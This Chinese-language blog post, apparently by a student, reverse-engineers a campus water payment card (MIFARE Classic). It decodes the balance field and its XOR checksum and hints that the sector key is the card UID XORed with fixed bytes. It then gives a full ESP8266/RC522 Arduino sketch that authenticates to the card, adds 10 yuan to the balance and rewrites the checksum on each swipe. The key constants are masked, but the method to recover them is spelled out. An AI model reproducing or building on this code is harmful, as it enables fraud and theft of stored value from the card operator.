金诚卡算法分析及自制硬件测试设备

*本文内容仅用于技术讨论，严禁用于任何违法用途。

一、引言

金诚卡这个东西说熟悉的人很熟悉，说不熟悉的人压根就没见过，国内有很多高校都用这款水卡。 这款水卡有两个版本，下图是旧版本的金诚卡（非全加密），另一个版本长的比这个丑（全加密）。虽然全加密和非全加密感觉安全性改善了很多，但是由于其加密密钥，加密方法并没有变化所以还是可以通过旧卡分析出来算法。当然完全可以通过 mfcuk 得到完整的密钥，实现通用修改毕竟算法并没有改变。

二、卡内数据结构一览

首先我们看一下旧卡的（非全加密卡），通过几张卡对比就能发现是一卡一密。

旧卡是12扇区有数据，新卡的话也是12扇区有数据，但是在别的扇区也增加了一些个人信息的数据（估计是如果有人破解了好抓人）。可以看到只有12扇区的KEYA不是默认密钥，其余均为默认密钥。于是我们学校好多人就动起了歪心思。毕竟acr122u这种设备已经泛滥，也不管三七二十一就克隆写入到白卡开始卖（也不分析下卡的数据），然后一个个全被抓（该！）。而新卡为全加密，数据的扇区和块均保持不变。但是密钥的算法还是保持不变的。

Ps.上面这个数据是我在网上收集的，还修改了涉及到学校代码的信息。

三、金钱区块算法分析

12扇区0块为金钱值，通过最没有技术含量的对比法分析哪个位置是金钱的。所以可以得到第5、6、7组 是明显变化的。所以判断这三个和金钱有关。

但是之前还有01 15 02 这三个代码，考研报名的时候就经常见到这个代码（本文代码是假的）。这摆明了就是学校的代码嘛。合着水卡的信息还包含学校代码。

21 86从十六进制转换成10进制，竟然和卡里的钱数*100后一样，所以5 6组就是金钱的位置。那么第七组就是校检位了，防止篡改数据。想想Ic卡最常见的校检方法，结果还是2位。于是我推测是每一组每一组进行异或运算。果真01^15^02^00^21^86的结果是B1。原来学校代码的作用是这个啊，防止跨校买水么。于是此阶段水卡的金钱扇区就解密了。

四、一卡一密解密

这部分不敢太详细说，怕教坏别人。但是通过金钱区块的分析得到生成校检位的是异或运算。那么KEYA是不是也是通过异或得到的？还有为什么KEY结尾四位都是固定的？前面8位变化？uid也是8位？是不是KEYA是根据UID计算出来的+固定值？异或好像是可逆运算啊！这段就说到这里了。

五、大头来了，自制硬件设备

有了KEYA计算规则，还有校检生成方法。可以完美的对任何一张水卡进行充值了（包括新卡，因为除了全加密了其余并没有改变）。

硬件设备包括：

0.96的OLED一个 (i2c)
esp8266nodemcu v1.0 的开发版一个
Rc522模块一个 (spi)

其实本来想用arduino的，但是手头有个不用的esp8266就干脆用上了，把它看作arduino就行了。接线按照下图接入spi和i2c就行了，没啥难的。（主要是我画的电路图太丑了 拿不出手）下图是esp8266的引脚定义，如果你也用esp8266那么可以参照这个。

我自己接完之后长这样。背面我就不拍照了，太丑了，焊工渣死。

代码如下，请注意看注释：

#include <Adafruit_GFX.h>
#include <Adafruit_ssd1306syp.h>
#include <SPI.h>
#include <MFRC522.h>
#include <Adafruit_ssd1306syp.h>
#define SDA_PIN          4  //定义oled的data
#define SCL_PIN          5  //定义oled的clock
#define RST_PIN         10  // 定义rc522的rst
#define SS_PIN          15  //定义rc522的ss   （其余的就参照spi和i2c对应的引脚就行了 rc522的RQ悬空 不用接）

MFRC522 mfrc522(SS_PIN, RST_PIN);   //  创建MFRC522实例
Adafruit_ssd1306syp display(SDA_PIN, SCL_PIN); //创建oled显示实例
MFRC522::MIFARE_Key keyA;

/**
   Initialize.
*/
void setup() {
  delay(1000);
  display.initialize();
  Serial.begin(9600);  
  while (!Serial);     
  SPI.begin();         
  mfrc522.PCD_Init(); 
  pinMode(D0, OUTPUT);  //这个是设置板载的LED为输出端口
  digitalWrite(D0, HIGH); //这个LED高电平亮低电平灭 所以拉高。
  display.setTextSize(3); //欢迎界面
  display.setTextColor(WHITE);
  display.println("WELCOM");
  display.update();
  delay(3000);
}

/**
   Main loop.
*/
void loop() {

  display.clear();//清空显示
  //寻找新卡
  if ( ! mfrc522.PICC_IsNewCardPresent()) {


    return;
  }
  //选择一个卡
  if ( ! mfrc522.PICC_ReadCardSerial())
  {


    return;
  }
//读取uid并byte2string
  String UID = "";
  for (byte i = 0; i < mfrc522.uid.size; i++) {
    UID.concat(String(mfrc522.uid.uidByte[i], HEX));
  }
  UID.toUpperCase();
  display.setTextSize(2);
  display.setTextColor(WHITE);
  display.setCursor(0, 0);
  display.println(UID);


  //计算key 这块结合着前面看，已经很清晰的知道怎么计算KEYA了
  keyA.keyByte[0] = mfrc522.uid.uidByte[0] ^ 0x**;
  keyA.keyByte[1] = mfrc522.uid.uidByte[1] ^ 0x**;
  keyA.keyByte[2] = mfrc522.uid.uidByte[2] ^ 0x**;
  keyA.keyByte[3] = mfrc522.uid.uidByte[3] ^ 0x**;
  keyA.keyByte[4] = 0x**;
  keyA.keyByte[5] = 0x**;
  String KEY = "";
  for (byte i = 0; i <  6; i++) {
    KEY.concat(String( keyA.keyByte[i], HEX));
  }
  KEY.toUpperCase();
  //display.print("KEY:");
  // display.println(KEY);
  //display.update();

  byte sector         = 12;          //扇区
  byte blockAddr      = 48;          //扇区开始块  金额地址
  MFRC522::StatusCode status;  //状态码
  byte buffer[18];
  byte size = sizeof(buffer);

 
  //  在trailerBlock块中 使用身份验证密钥A
  Serial.println(F("Authenticating using key A..."));
  status = (MFRC522::StatusCode) mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, blockAddr, &keyA, &(mfrc522.uid));
  if (status != MFRC522::STATUS_OK) { //如果状态！=成功
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
    return;
  }


  //输出指定扇区当前内容
  status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
  if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }

  int IntMoney = buffer[5] | buffer[4] << 8; //byte2int
  display.print("old:");
  display.println(IntMoney / 100.0);

  IntMoney = IntMoney + 1000;
  buffer[4] = IntMoney >> 8;
  buffer[5] = IntMoney;

  int IntMoney1 = buffer[5] | buffer[4] << 8; //int2byte
  buffer[6] = buffer[0] ^ buffer[1] ^ buffer[2] ^ buffer[3] ^ buffer[4] ^ buffer[5]; //计算校检位


  status = (MFRC522::StatusCode) mfrc522.MIFARE_Write(blockAddr, buffer, 16);
  if (status != MFRC522::STATUS_OK) {  //如果写入失败返回错误状态码
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }
//再读一遍 显示读取后的钱
  status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
  if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }

  IntMoney = buffer[5] | buffer[4] << 8;  //
  display.print("new:");
  display.println(IntMoney / 100.0);

  mfrc522.PICC_HaltA();
  // Stop encryption on PCD
  mfrc522.PCD_StopCrypto1();

  display.update();
  digitalWrite(D0, LOW);
  delay(500);
  digitalWrite(D0, HIGH);



} 

这是烧录后的效果，测试效果是刷一次增加10元，下一步准备把wifi利用上，毕竟不能浪费了wifi功能。最后，请大家不要利用本文干坏事哟！